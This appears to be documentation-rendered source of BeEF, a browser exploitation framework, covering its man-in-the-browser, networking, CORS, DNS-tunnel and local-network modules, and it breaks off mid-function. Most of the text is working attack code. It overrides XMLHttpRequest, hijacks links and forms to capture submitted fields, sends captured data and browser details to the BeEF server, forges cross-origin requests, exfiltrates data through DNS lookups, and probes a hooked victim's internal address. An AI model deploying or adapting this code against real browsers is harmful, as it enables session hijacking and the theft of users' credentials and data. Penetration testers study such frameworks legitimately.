// See the file 'doc/COPYING' for copying permission
//

/**
 * @namespace beef.mitb
 */
beef.mitb = {

    cid:null,
    curl:null,

    /** Initializes */ 
    init:function (cid, curl) {
        beef.mitb.cid = cid;
        beef.mitb.curl = curl;
        /*Override open method to intercept ajax request*/
        var hook_file = "<%= @hook_file %>";

        if (window.XMLHttpRequest && !(window.ActiveXObject)) {

            beef.mitb.sniff("Method XMLHttpRequest.open override");
            (function (open) {
                XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
                    // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
                    // or a request initiated by the MiTB itself.
                    if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
                        open.call(this, method, url, async, true);
                    }else {
                        var portRegex = new RegExp(":[0-9]+");
                        var portR = portRegex.exec(url);
                        var requestPort;
                        if (portR != null) { requestPort = portR[0].split(":")[1]; }

                        //GET request
                        if (method == "GET") {
                            //GET request -> cross-origin
                            if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
                                beef.mitb.sniff("GET [Ajax CrossOrigin Request]: " + url);
                                window.open(url);
                            }else { //GET request -> same-origin
                                beef.mitb.sniff("GET [Ajax Request]: " + url);
                                if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
                                    var title = "";
                                    if (document.getElementsByTagName("title").length == 0) {
                                        title = document.title;
                                    } else {
                                        title = document.getElementsByTagName("title")[0].innerHTML;
                                    }
                                    // write the url of the page
                                    history.pushState({ Be:"EF" }, title, url);
                                }
                            }
                        }else{
                            //POST request
                            beef.mitb.sniff("POST ajax request to: " + url);
                            open.call(this, method, url, async, true);
                        }
                    }
                };
            })(XMLHttpRequest.prototype.open);
        }
    },

    /** Initializes the hook on anchors and forms. */ 
    hook:function () {
        beef.onpopstate.push(function (event) {
            beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
        });
        beef.onclose.push(function (event) {
            beef.mitb.endSession();
        });

        var anchors = document.getElementsByTagName("a");
        var forms = document.getElementsByTagName("form");
        var lis = document.getElementsByTagName("li");

        for (var i = 0; i < anchors.length; i++) {
            anchors[i].onclick = beef.mitb.poisonAnchor;
        }
        for (var i = 0; i < forms.length; i++) {
            beef.mitb.poisonForm(forms[i]);
        }

        for (var i = 0; i < lis.length; i++) {
            if (lis[i].hasAttribute("onclick")) {
                lis[i].removeAttribute("onclick");
                /*clear*/
                lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
                /*override*/

            }
        }
    },

    /** Hooks anchors and prevents them from linking away */
    poisonAnchor:function (e) {
        try {
            e.preventDefault;
            if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
                var title = "";
                if (document.getElementsByTagName("title").length == 0) {
                    title = document.title;
                } else {
                    title = document.getElementsByTagName("title")[0].innerHTML;
                }
                history.pushState({ Be:"EF" }, title, e.currentTarget);
            }
        } catch (e) {
            beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
        }
        return false;
    },

    /** Hooks forms and prevents them from linking away */
    poisonForm:function (form) {
        form.onsubmit = function (e) {

            // Collect <input> tags.
            var inputs = form.getElementsByTagName("input");
            var query = "";
            for (var i = 0; i < inputs.length; i++) {
                switch (inputs[i].type) {
                    case "submit":
                        break;
                    default:
                        query += inputs[i].name + "=" + inputs[i].value + '&';
                        break;
                }
            }

            // Collect selected options from the form.
            var selects = form.getElementsByTagName("select");
            for (var i = 0; i < selects.length; i++) {
                var select = selects[i];
                query += select.name + "=" + select.options[select.selectedIndex].value + '&';
            }

            // We should be gathering 'submit' inputs as well, as there are 
            // applications demanding this parameter.
            var submit = $j('*[type="submit"]', form);
            if(submit.length) {
                // Append name of the submit button/input.
                query += submit.attr('name') + '=' + submit.attr('value');
            }

            if(query.slice(-1) == '&') {
                query = query.slice(0, -1);
            }

            e.preventdefault;
            beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
            history.pushState({ Be:"EF" }, "", form.action);
            return false;
        }
    },

    /** Fetches a hooked form with AJAX */ 
    fetchForm:function (url, query, target) {
        try {
            var y = new XMLHttpRequest();
            y.open('POST', url, false, true);
            y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            y.onreadystatechange = function () {
                if (y.readyState == 4 && y.responseText != "") {
                    target.innerHTML = y.responseText;
                    setTimeout(beef.mitb.hook, 10);
                }
            };
            y.send(query);
            beef.mitb.sniff("POST: " + url + "[" + query + "]");
            return true;
        } catch (x) {
            return false;
        }
    },

    /** Fetches a hooked link with AJAX */
    fetch:function (url, target) {
        try {
            var y = new XMLHttpRequest();
            y.open('GET', url, false, true);
            y.onreadystatechange = function () {
                if (y.readyState == 4 && y.responseText != "") {
                    target.innerHTML = y.responseText;
                    setTimeout(beef.mitb.hook, 10);
                }
            };
            y.send(null);
            beef.mitb.sniff("GET: " + url);
            return true;
        } catch (x) {
            window.open(url);
            beef.mitb.sniff("GET [New Window]: " + url);
            return false;
        }
    },

    /** Fetches a window.location=http://domainname.com and setting up history */ 
    fetchOnclick:function (url) {
        try {
            var target = document.getElementsByTagName("html")[0];
            var y = new XMLHttpRequest();
            y.open('GET', url, false, true);
            y.onreadystatechange = function () {
                if (y.readyState == 4 && y.responseText != "") {
                    var title = "";
                    if (document.getElementsByTagName("title").length == 0) {
                        title = document.title;
                    }
                    else {
                        title = document.getElementsByTagName("title")[0].innerHTML;
                        }
                    history.pushState({ Be:"EF" }, title, url);
                    target.innerHTML = y.responseText;
                    setTimeout(beef.mitb.hook, 10);
                }
            };
            y.send(null);
            beef.mitb.sniff("GET: " + url);

        } catch (x) {
            // the link is cross-origin, so load the resource in a different tab
            window.open(url);
            beef.mitb.sniff("GET [New Window]: " + url);
        }
    },

    /** Relays an entry to the framework */
    sniff:function (result) {
        try {
            beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
        } catch (x) {
        }
        return true;
    },

    /** Signals the Framework that the user has lost the hook */
    endSession:function () {
        beef.mitb.sniff("Window closed.");
    }
};

beef.regCmp('beef.mitb');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net.js.html ================================================ JSDoc: Source: net.js

Source: net.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides basic networking functions,
 * like beef.net.request and beef.net.forgeRequest,
 * used by BeEF command modules and the Requester extension,
 * as well as beef.net.send which is used to return commands
 * to BeEF server-side components.
 *
 * Also, it contains the core methods used by the XHR-polling
 * mechanism (flush, queue)
 * @namespace beef.net
 *
 */
beef.net = {

    host: "<%= @beef_host %>",
    port: "<%= @beef_port %>",
    hook: "<%= @beef_hook %>",
    httpproto: "<%= @beef_proto %>",
    handler: '/dh',
    chop: 500,
    pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
    sid_count: 0,
    cmd_queue: [],

    /**
     * Command object. This represents the data to be sent back to BeEF,
     * using the beef.net.send() method.
     */
    command: function () {
        this.cid = null;
        this.results = null;
        this.status = null;
        this.handler = null;
        this.callback = null;
    },

    /**
     * Packet object. A single chunk of data. X packets -> 1 stream
     */
    packet: function () {
        this.id = null;
        this.data = null;
    },

    /**
     * Stream object. Contains X packets, which are command result chunks.
     */
    stream: function () {
        this.id = null;
        this.packets = [];
        this.pc = 0;
        this.get_base_url_length = function () {
            return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
        };
        this.get_packet_data = function () {
            var p = this.packets.shift();
            return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
        };
    },

    /**
     * Response Object - used in the beef.net.request callback
     * NOTE: as we are using async mode, the response object will be empty if returned.
     * Using sync mode, request obj fields will be populated.
     */
    response: function () {
        this.status_code = null;        // 500, 404, 200, 302
        this.status_text = null;        // success, timeout, error, ...
        this.response_body = null;      // "<html>…." if not a cross-origin request
        this.port_status = null;        // tcp port is open, closed or not http
        this.was_cross_origin = null;   // true or false
        this.was_timedout = null;       // the user specified timeout was reached
        this.duration = null;           // how long it took for the request to complete
        this.headers = null;            // full response headers
    },

    /**
     * Queues the specified command results.
     * @param {String} handler the server-side handler that will be called
     * @param {Integer} cid command id
     * @param {String} results the data to send
     * @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
     * @param {Function} callback the function to call after execution
     */
    queue: function (handler, cid, results, status, callback) {
        if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
            var s = new beef.net.command();
            s.cid = cid;
            s.results = beef.net.clean(results);
            s.status = status;
            s.callback = callback;
            s.handler = handler;
            this.cmd_queue.push(s);
        }
    },

    /**
     * Queues the current command results and flushes the queue straight away.
     * NOTE: Always send Browser Fingerprinting results
     * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
     * even if WebSockets are enabled.
     * @param {String} handler the server-side handler that will be called
     * @param {Integer} cid command id
     * @param {String} results the data to send
     * @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
     * @param {Function} callback the function to call after execution
     * @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
     */
    send: function (handler, cid, results, exec_status, callback) {
        // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
        var status = 0;
        if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}

        if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
            this.queue(handler, cid, results, status, callback);
            this.flush();
        } else {
            try {
                beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
                    '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
                    '", "status": "' + exec_status +
                    '", "callback": "' + callback +
                    '","bh":"' + beef.session.get_hook_session_id() + '" }');
            } catch (e) {
                this.queue(handler, cid, results, status, callback);
                this.flush();
            }
        }

        return status;
    },

    /**
     * Flush all currently queued command results to the framework,
     * chopping the data in chunks ('chunk' method) which will be re-assembled
     * server-side by the network stack.
     * NOTE: currently 'flush' is used only with the default
     * XHR-polling mechanism. If WebSockets are used, the data is sent
     * back to BeEF straight away.
     */
    flush: function (callback) {
        if (this.cmd_queue.length > 0) {
            var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
            this.cmd_queue.length = 0;
            this.sid_count++;
            var stream = new this.stream();
            stream.id = this.sid_count;
            var pad = stream.get_base_url_length() + this.pad;
            //cant continue if chop amount is too low
            if ((this.chop - pad) > 0) {
                var data = this.chunk(data, (this.chop - pad));
                for (var i = 1; i <= data.length; i++) {
                    var packet = new this.packet();
                    packet.id = i;
                    packet.data = data[(i - 1)];
                    stream.packets.push(packet);
                }
                stream.pc = stream.packets.length;
                this.push(stream, callback);
            }
        } else {
            if ((typeof callback != 'undefined') && (callback != null)) {
                callback();
            }
        }
    },

    /**
     * Split the input data into chunk lengths determined by the amount parameter.
     * @param {String} str the input data
     * @param {Integer} amount chunk length
     */
    chunk: function (str, amount) {
        if (typeof amount == 'undefined') n = 2;
        return str.match(RegExp('.{1,' + amount + '}', 'g'));
    },

    /**
     * Push the input stream back to the BeEF server-side components.
     * It uses beef.net.request to send back the data.
     * @param {Object} stream the stream object to be sent back.
     */
    push: function (stream, callback) {
        //need to implement wait feature here eventually
        if (typeof callback === 'undefined') {
            callback = null;
        }
        for (var i = 0; i < stream.pc; i++) {
            var cb = null;
            if (i == (stream.pc - 1)) {
                cb = callback;
            }
            this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, 
                    stream.get_packet_data(), 10, 'text', cb);
        }
    },

    /**
     * Performs http requests
     * @param {String} scheme HTTP or HTTPS
     * @param {String} method GET or POST
     * @param {String} domain bindshell.net, 192.168.3.4, etc
     * @param {Int} port 80, 5900, etc
     * @param {String} path /path/to/resource
     * @param {String} anchor this is the value that comes after the # in the URL
     * @param {String} data This will be used as the query string for a GET or post data for a POST
     * @param {Int} timeout timeout the request after N seconds
     * @param {String} dataType specify the data return type expected (ie text/html/script)
     * @param {Function} callback call the callback function at the completion of the method
     *
     * @return {Object} this object contains the response details
     */
    request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
        //check if same origin or cross origin
        var cross_origin = true;
        if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
            if (document.location.port == "" || document.location.port == null) {
                cross_origin = !(port == "80" || port == "443");
            }
        }

        //build the url
        var url = "";
        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
            url = path;
        } else {
            url = scheme + "://" + domain;
            url = (port != null) ? url + ":" + port : url;
            url = (path != null) ? url + path : url;
            url = (anchor != null) ? url + "#" + anchor : url;
        }

        //define response object
        var response = new this.response;
        response.was_cross_origin = cross_origin;
        var start_time = new Date().getTime();

        /*
         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
         * This will turn POSTs into GETs for cross origin requests.
         */
        if (method == "POST") {
            $j.ajaxSetup({
                dataType: dataType
            });
        } else {
            $j.ajaxSetup({
                dataType: 'script'
            });
        }

        //build and execute the request
        $j.ajax({type: method,
            url: url,
            data: data,
            timeout: (timeout * 1000),

            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
            beforeSend: function (xhr) {
                if (method == "POST") {
                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
                }
            },
            success: function (data, textStatus, xhr) {
                var end_time = new Date().getTime();
                response.status_code = xhr.status;
                response.status_text = textStatus;
                response.response_body = data;
                response.port_status = "open";
                response.was_timedout = false;
                response.duration = (end_time - start_time);
            },
            error: function (jqXHR, textStatus, errorThrown) {
                var end_time = new Date().getTime();
                response.response_body = jqXHR.responseText;
                response.status_code = jqXHR.status;
                response.status_text = textStatus;
                response.duration = (end_time - start_time);
                response.port_status = "open";
            },
            complete: function (jqXHR, textStatus) {
                response.status_code = jqXHR.status;
                response.status_text = textStatus;
                response.headers = jqXHR.getAllResponseHeaders();
                // determine if TCP port is open/closed/not-http
                if (textStatus == "timeout") {
                    response.was_timedout = true;
                    response.response_body = "ERROR: Timed out\n";
                    response.port_status = "closed";
                } else if (textStatus == "parsererror") {
                    response.port_status = "not-http";
                } else {
                    response.port_status = "open";
                }
            }
        }).always(function () {
                if (callback != null) {
                    callback(response);
                }
            });
        return response;
    },

    /**
     * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
     *  - requestid: needed on the callback
     *  - allowCrossOrigin: set cross-origin requests as allowed or blocked
     *
     * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
     * Example usage:
     * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
     *   true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
     *   alert(response.response_body)})
     */
    forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossOrigin, requestid, callback) {

        if (domain == "undefined" || path == "undefined") {
            beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
            return;
        }

        // check if same origin or cross origin
        var cross_origin = true;
        if (document.domain == domain && document.location.protocol == scheme + ':') {
            if (document.location.port == "" || document.location.port == null) {
                cross_origin = !(port == "80" || port == "443");
            } else {
                if (document.location.port == port) cross_origin = false;
            }
        }

        // build the url
        var url = "";
        if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
            url = path;
        } else {
            url = scheme + "://" + domain;
            url = (port != null) ? url + ":" + port : url;
            url = (path != null) ? url + path : url;
            url = (anchor != null) ? url + "#" + anchor : url;
        }

        // define response object
        var response = new this.response;
        response.was_cross_origin = cross_origin;
        var start_time = new Date().getTime();

        // if cross-origin requests are not allowed and the request is cross-origin
        // don't proceed and return
        if (allowCrossOrigin == "false" && cross_origin) {
            beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
            response.status_code = -1;
            response.status_text = "crossorigin";
            response.port_status = "crossorigin";
            response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
            response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
            if (callback != null) callback(response, requestid);
            return response;
        }

        // if the request was cross-origin from a HTTPS origin to HTTP
        // don't proceed and return
        if (document.location.protocol == 'https:' && scheme == 'http') {
            beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
            response.status_code = -1;
            response.status_text = "mixedcontent";
            response.port_status = "mixedcontent";
            response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
            response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
            if (callback != null) callback(response, requestid);
            return response;
        }

        /*
         * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
         * This will turn POSTs into GETs for cross origin requests.
         */
        if (method == "POST") {
            $j.ajaxSetup({
                dataType: dataType
            });
        } else {
            $j.ajaxSetup({
                dataType: 'script'
            });
        }

        // this is required for bugs in IE so data can be transferred back to the server
        if (beef.browser.isIE()) {
            dataType = 'script'
        }

        $j.ajax({type: method,
            dataType: dataType,
            url: url,
            headers: headers,
            timeout: (timeout * 1000),

            //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
            beforeSend: function (xhr) {
                if (method == "POST") {
                    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
                }
            },

            data: data,

            // http server responded successfully
            success: function (data, textStatus, xhr) {
                var end_time = new Date().getTime();
                response.status_code = xhr.status;
                response.status_text = textStatus;
                response.response_body = data;
                response.was_timedout = false;
                response.duration = (end_time - start_time);
            },

            // server responded with a http error (403, 404, 500, etc)
            // or server is not a http server
            error: function (xhr, textStatus, errorThrown) {
                var end_time = new Date().getTime();
                response.response_body = xhr.responseText;
                response.status_code = xhr.status;
                response.status_text = textStatus;
                response.duration = (end_time - start_time);
            },

            complete: function (xhr, textStatus) {
                // cross-origin request
                if (cross_origin) {

                    response.port_status = "crossorigin";

                    if (xhr.status != 0) {
                        response.status_code = xhr.status;
                    } else {
                        response.status_code = -1;
                    }

                    if (textStatus) {
                        response.status_text = textStatus;
                    } else {
                        response.status_text = "crossorigin";
                    }

                    if (xhr.getAllResponseHeaders()) {
                        response.headers = xhr.getAllResponseHeaders();
                    } else {
                        response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
                    }

                    if (!response.response_body) {
                        response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
                    }

                } else {
                    // same-origin request
                    response.status_code = xhr.status;
                    response.status_text = textStatus;
                    response.headers = xhr.getAllResponseHeaders();

                    // determine if TCP port is open/closed/not-http
                    if (textStatus == "timeout") {
                        response.was_timedout = true;
                        response.response_body = "ERROR: Timed out\n";
                        response.port_status = "closed";
                        /*
                         * With IE we need to explicitly set the dataType to "script",
                         * so there will be always parse-errors if the content is != javascript
                         * */
                    } else if (textStatus == "parsererror") {
                        response.port_status = "not-http";
                        if (beef.browser.isIE()) {
                            response.status_text = "success";
                            response.port_status = "open";
                        }
                    } else {
                        response.port_status = "open";
                    }
                }
                callback(response, requestid);
            }
        });
        return response;
    },

    /** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
     *  http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
     */
    clean: function (r) {
        if (this.array_has_string_key(r)) {
            var obj = {};
            for (var key in r)
                obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
            return obj;
        }
        return r;
    },

    /** Detects if an array has a string key */
    array_has_string_key: function (arr) {
        if ($j.isArray(arr)) {
            try {
                for (var key in arr)
                    if (isNaN(parseInt(key))) return true;
            } catch (e) {
            }
        }
        return false;
    },

    /**
     * Checks if the specified port is valid
     */
    is_valid_port: function (port) {
      if (isNaN(port)) return false;
      if (port > 65535 || port < 0) return false;
      return true;
    },

    /**
     * Checks if the specified IP address is valid
     */
    is_valid_ip: function (ip) {
      if (ip == null) return false;
      var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
      if (ip_match == null) return false;
      return true;
    },

    /**
     * Checks if the specified IP address range is valid
     */
    is_valid_ip_range: function (ip_range) {
      if (ip_range == null) return false;
      var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
      if (range_match == null || range_match[1] == null) return false;
      return true;
    },

    /**
     * Sends back browser details to framework, calling beef.browser.getDetails()
     */
    browser_details: function () {
        var details = beef.browser.getDetails();
        var res = null;
        details['HookSessionID'] = beef.session.get_hook_session_id();
        this.send('/init', 0, details);
        if(details != null)
            res = true;

        return res;
    }

};


beef.regCmp('beef.net');

Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net_connection.js.html ================================================ JSDoc: Source: net/connection.js

Source: net/connection.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * beef.net.connection - wraps Mozilla's Network Information API
 * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
 * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
 * @namespace beef.net.connection
 */
beef.net.connection = {

  /**
   * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
   * @example beef.net.connection.type()
   * @return {String} connection type or 'unknown'.
   */
  type: function () {
    try {
      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
      var type = connection.type;
      if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
    } catch(e) {
      beef.debug("Error retrieving connection type: " + e.message);
      return 'unknown';
    }
  },

  /** 
   * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
   * @example beef.net.connection.downlinkMax()
   * @return {String} downlink max or 'unknown'.
   */
  downlinkMax: function () {
    try {
      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
      var max = connection.downlinkMax;
      if (max) return max; else return 'unknown';
    } catch(e) {
      beef.debug("Error retrieving connection downlink max: " + e.message);
      return 'unknown';
    }
  }

};

beef.regCmp('beef.net.connection');


Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net_cors.js.html ================================================ JSDoc: Source: net/cors.js

Source: net/cors.js

/**
 * @namespace beef.net.cors
 */

beef.net.cors = {

  handler: "cors",

    /**
     * Response Object - used in the beef.net.request callback
     */
    response:function () {
        this.status  = null;      // 500, 404, 200, 302, etc
        this.headers = null;      // full response headers
        this.body    = null;      // full response body
    },

    /**
     * Make a cross-origin request using CORS
     *
     * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
     * @param url {String} url
     * @param data {String} request body
     * @param timeout {Integer} request timeout in milliseconds
     * @param callback {Function} function to callback on completion
     */
    request: function(method, url, data, timeout, callback) {

    var xhr;
    var response = new this.response;

    if (XMLHttpRequest) {
        xhr = new XMLHttpRequest();

        if ('withCredentials' in xhr) {
            xhr.open(method, url, true);
            xhr.timeout = parseInt(timeout, 10);
            xhr.onerror = function() {
            };
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4) {
                    response.headers = this.getAllResponseHeaders()
                    response.body    = this.responseText;
                    response.status  = this.status;
                    if (!!callback) {
                        if (!!response) {
                            callback(response);
                        } else { 
                            callback('ERROR: No Response. CORS requests may be denied for this resource.')
                        }
                    }
                }
            };
            xhr.send(data);
        }
    } else if (typeof XDomainRequest != "undefined") {
        xhr = new XDomainRequest();
        xhr.open(method, url);
        xhr.onerror = function() {
        };
        xhr.onload = function() {
            response.headers = this.getAllResponseHeaders()
            response.body    = this.responseText;
            response.status  = this.status;
            if (!!callback) {
                if (!!response) {
                    callback(response);
                } else {
                    callback('ERROR: No Response. CORS requests may be denied for this resource.')
                }
            }
        };
        xhr.send(data);
    } else {
        if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
    }

    }

};

beef.regCmp('beef.net.cors');


Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net_dns.js.html ================================================ JSDoc: Source: net/dns.js

Source: net/dns.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * 
 * request object structure:
 * + msgId: {Integer} Unique message ID for the request.
 * + domain: {String} Remote domain to retrieve the data.
 * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
 * + callback: {Function} Callback function to receive the number of requests sent.
 * @namespace beef.net.dns
 */

beef.net.dns = {

	handler: "dns",
    /**
     * 
     * @param msgId 
     * @param data 
     * @param domain 
     * @param callback 
     */
	send: function(msgId, data, domain, callback) {

        var encode_data = function(str) {
            var result="";
            for(i=0;i<str.length;++i) {
                result+=str.charCodeAt(i).toString(16).toUpperCase();
            }
            return result;
        };

        var encodedData = encodeURI(encode_data(data));

        beef.debug(encodedData);
        beef.debug("_encodedData_ length: " + encodedData.length);

        // limitations to DNS according to RFC 1035:
        // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
        // o Domain names are limited to 255 characters in length (including dots)
        // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
        // o Subdomains are limited to 63 characters in length (including the trailing dot)

        // DNS request structure:
        // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
      //max_length: 3.   3   .   3   . 63 . x

        // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.
        // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)
        var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
        var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
        var max_data_segment_length = 63; // by RFC

        beef.debug("max_data_segment_length: " + max_data_segment_length);

        var dom = document.createElement('b');

        String.prototype.chunk = function(n) {
            if (typeof n=='undefined') n=100;
            return this.match(RegExp('.{1,'+n+'}','g'));
        };

        var sendQuery = function(query) {
            var img = new Image;
            //img.src = "http://"+query;
            img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
            img.onload = function() { dom.removeChild(this); }
            img.onerror = function() { dom.removeChild(this); }
            dom.appendChild(img);

            //experimental
            //setTimeout(function(){dom.removeChild(img)},1000);
        };

        var segments = encodedData.chunk(max_data_segment_length);

        var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request

        beef.debug(segments.length);

        for (var seq=1; seq<=segments.length; seq++) {
            sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
        }

		// callback - returns the number of queries sent
		if (!!callback) callback(segments.length);

	}

};

beef.regCmp('beef.net.dns');


Documentation generated by JSDoc 4.0.4 on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)
================================================ FILE: docs/net_local.js.html ================================================ JSDoc: Source: net/local.js

Source: net/local.js

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

/**
 * Provides networking functions for the local/internal network of the zombie.
 * @namespace beef.net.local
 */
beef.net.local = {
	
	sock: false,
	checkJava: false,
	hasJava: false,
	
	/**
	 * Initializes the java socket. We have to use this method because
	 * some browsers do not have java installed or it is not accessible.
	 * in which case creating a socket directly generates an error. So this code
	 * is invalid:
	 * sock: new java.net.Socket();
	 */
	initializeSocket: function() {
		if(this.checkJava){	
			if(!beef.browser.hasJava()) {
				this.checkJava=True;
				this.hasJava=False;
				return -1;
			}else{
				this.checkJava=True;
				this.hasJava=True;
				return 1;
			}
		}
		else{
			if(!this.hasJava) return -1;
			else{	
				try {
					this.sock = new java.net.Socket();
				} catch(e) {
					return -1;
				}
				return 1;
			}
		}
	},
	
	/**
	 * Returns the internal IP address of the zombie.
	 * @return {String} the internal ip of the zombie.
	 * @error return -1 if the internal ip cannot be retrieved.
	 */
	getLocalAddress: function() {
		if(!this.hasJava) return false;
		
		this.initializeSocket();
		
		try {
			this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
			this.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));
			
			return this.sock.getLocalAddress().getHostAddress();
		} catch(e) { return false; }
	},
	
	/**
	 * Returns the internal hostname of the zombie.
	 * @return {String} the internal hostname of the zombie.
	 * @error return -1 if the hostname cannot be retrieved.
	 */
	getLocalHostname: function() {
